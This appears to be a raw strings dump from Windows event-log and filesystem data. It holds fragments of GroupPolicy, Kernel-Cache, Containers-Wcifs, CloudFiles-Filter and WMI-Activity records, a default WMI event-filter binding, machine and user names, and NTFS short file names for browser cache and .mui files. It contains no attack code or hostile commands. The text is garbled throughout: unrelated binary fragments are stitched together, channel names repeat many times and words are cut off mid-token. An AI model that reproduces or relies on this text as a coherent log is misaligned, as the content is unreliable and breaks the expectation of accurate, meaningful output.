Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational EventData Data VolumeDeviceGuid Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Microsoft-Windows-Kernel-Cache Microsoft-Windows-Kernel-Cache/Operational Gd`\hLocal Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\MachineNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4162 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational UpdateCauseExtensionName UpdateCauseExtensionId ErrorCode Windows Protected Print Policy {9F02E2F5-5A41-4D1A-B473-4617E84BC957} Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational PolicyElaspedTimeInSeconds ErrorCode PrincipalSamName IsMachine IsConnectivityFailure WORKGROUP\WIN-FVPT9GE7NQP$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine SessionTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine 'WinlogonReturnTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational DESKTOP-8GBP982\defaultuser0 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\UserNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational DESKTOP-8GBP982\defaultuser0 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4169 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4160 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4166 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4167 070c23a6-046c-4190-a24e-19f8c6bb2a21 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\MachineNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational windows11\defaultuser0 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\UserNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational windows11\defaultuser0 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4169 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4160 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4166 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4167 58de0df0-85db-4239-8ed8-d4bf0f190a43 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\MachineNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational windows11\defaultuser0 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None t-Windows-G Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational EventData Data DescriptionString GPOInfoList Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\MachineNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational InfoDescription %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational PolicyElaspedTimeInSeconds ErrorCode PrincipalSamName IsMachine IsConnectivityFailure WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine SessionTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational NotificationType SessionId Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine 'WinlogonReturnTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine IsBackgroundProcessing IsAsyncProcessing Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational PolicyActivityId PrincipalSamName IsMachine IsDomainJoined IsBackgroundProcessing IsAsyncProcessing IsServiceRestart ReasonForSyncProcessing Windows11\job Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational PolicyApplicationMode Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational PolicyProcessingMode Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine 'PolicyDownloadTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsMachine IsBackgroundProcessing IsAsyncProcessing NumberOfGPOsDownloaded NumberOfGPOsApplicable $GPODownloadTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\UserNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Windows11\job Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational NotificationType Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsServiceRestart IsMachineBoot GpsvcTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational IsServiceRestart IsMachineBoot Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational "GpsvcInitTimeElapsedInMilliseconds Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4169 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4160 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4166 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational InfoDescription OperationParameter1 %%4167 f4749112-181b-489f-a898-35c7c1abcf94 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\MachineNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational WORKGROUP\WINDOWS11$ Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Windows11\job Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational None Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Local Group Policy Not Applied (Empty) Local Group Policy0LocalC:\WINDOWS\System32\GroupPolicy\UserNOTAPPLIED-EMPTY Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4161 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4163 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational %%4165 Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Windows11\job Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational Microsoft-Windows-GroupPolicy Microsoft-Windows-GroupPolicy/Operational AutoLaunchProtocolsComponent AUTOLA~1etr CertificateRevocation CERTIF~1t_c component_crx_cache COMPON~1 Crashpad Default Domain Actions DOMAIN~1sio extensions_crx_cache EXTENS~1Daw GraphiteDawnCache GRAPHI~1Cac GrShaderCache GRSHAD~1ata hyphen-data HYPHEN~1sio Last Version Last Version HYPHEN~1sio Last Version HYPHEN~1sio Last Version rsion Local State~RF34cf8.TMP LOCALS~1.TM LOCALS~1.TMP Speech Recognition SPEECH~1ns Subresource Filter SUBRES~1ns Trust Protection Lists TRUSTP~1ns Variations VARIAT~1 WidevineCdm WIDEVI~1 Local State LOCALS~1.TM lockfileade MEIPreloade MEIPRE~1che OriginTrials ORIGIN~1che PKIMetadata PKIMET~1che ShaderCache SHADER~1ns Speech Recognition SPEECH~1ns Subresource Filter SUBRES~1ns Trust Protection Lists TRUSTP~1ns TrustTokenKeyCommitments TRUSTT~1ns Variations VARIAT~1 WidevineCdm WIDEVI~1 eCdm WIDEVI~1 WIDEVI~1 WIDEVI~1 WIDEVI~1 WIDEVI~1 WIDEVI~1 Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational EventData 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational Microsoft-Windows-Containers-Wcifs Microsoft-Windows-Containers-Wcifs/Operational cscsvc.dll.mui CSCSVC~1.MUI cscsvc.dll.mui WofCompressedData $DSC cscui.dll.mui CSCUID~1.MUI cscui.dll.mui WofCompressedData $DSC ddputils.dll.mui DDPUTI~1.MUI ddputils.dll.mui WofCompressedData $DSC EmbeddedLockdownWmi.dll.mui0 EMBEDD~1.MUI EmbeddedLockdownWmi.dll.mui WofCompressedData $DSC WofCompressedData $DSC PeerDist.dll.mui WofCompressedData $DSC WofCompressedData $DSC PeerDistSh.dll.mui WofCompressedData $DSC PeerDistSvc.dll.mui0 PEERDI~2.MUI PeerDistSvc.dll.mui WofCompressedData $DSC pmcsnap.dll.mui0 PMCSNA~1.MUI pmcsnap.dll.mui WofCompressedData $DSC rwinsta.exe.mui0 RWINST~1.MUI rwinsta.exe.mui WofCompressedData $DSC RWINST~1.MUI rwinsta.exe.mui WofCompressedData $DSC WofCompressedData $DSC scrptadm.dll.mui WofCompressedData $DSC smbdirect.sys.mui SMBDIR~1.MUI smbdirect.sys.mui WofCompressedData $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational EventData 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational Microsoft-Windows-CloudFiles-Filter Microsoft-Windows-CloudFiles-Filter/Operational MI6BBD~1.0_N MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy $I300 $I30 $I30 AppxMetadata APPXME~1 MI3DD4~1.0_X MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy $I300 Images $I30 $I30 DASHBO~1 Images Assets $I300 $I30 $I30 SettingsBoardIcon_dark.svg SettingsBoardIcon_light.svg SplashScreen.scale-200.png Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID UserData Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_StartedOperational 3http://manifests.microsoft.com/win/2006/windows/WMI ProviderName Code HostProcess ProviderPath WMIProv wmiprvse.exe %systemroot%\system32\wbem\wmiprov.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_ClientFailure 3http://manifests.microsoft.com/win/2006/windows/WMI ClientMachine User ClientProcessId Component Operation ResultCode PossibleCause {00000000-0000-0000-0000-000000000000} MINWINPC NT AUTHORITY\SYSTEM Unknown Start IWbemServices::CreateInstanceEnum - root\wmi : MS_SM_AdapterInformationQuery Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {00000000-0000-0000-0000-000000000000} MINWINPC NT AUTHORITY\SYSTEM Unknown Start IWbemServices::CreateInstanceEnum - root\wmi : MSiSCSI_PortalInfoClass Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_ESStoConsumerBinding 3http://manifests.microsoft.com/win/2006/windows/WMI Namespace CONSUMER //./root/subscription SCM Event Log Filter NTEventLogEventConsumer="SCM Event Log Consumer" Binding EventFilter: instance of __EventFilter CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0}; EventNamespace = "root\\cimv2"; Name = "SCM Event Log Filter"; Query = "select * from MSFT_SCMEventLogEvent"; QueryLanguage = "WQL"; Perm. Consumer: instance of NTEventLogEventConsumer Category = 0; CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0}; EventType = 1; Name = "SCM Event Log Consumer"; NameOfUserSIDProperty = "sid"; SourceName = "Service Control Manager"; Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational WMIProv wmiprvse.exe %systemroot%\system32\wbem\wmiprov.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_EssStarted 3http://manifests.microsoft.com/win/2006/windows/WMI NamespaceName Query Processid queryid //./root/CIMV2 select * from MSFT_SCMEventLogEvent S-1-5-32-544 SCM Event Provider Permanent Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational CIMWin32 wmiprvse.exe %systemroot%\system32\wbem\cimwin32.dll 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational WMIProv wmiprvse.exe %systemroot%\system32\wbem\wmiprov.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {00000000-0000-0000-0000-000000000000} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::CreateInstanceEnum - root\wmi : MS_SM_AdapterInformationQuery Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {00000000-0000-0000-0000-000000000000} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::CreateInstanceEnum - root\wmi : MSiSCSI_PortalInfoClass Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {234E0A77-11C4-41C8-9C0D-C0C22B5D2143} DESKTOP-8GBP982 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::DeleteInstance - Root\Rsop\Computer : RSOP_ExtensionStatus.extensionGuid="{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" Unknown Microsoft-Windows-WMI-Activity 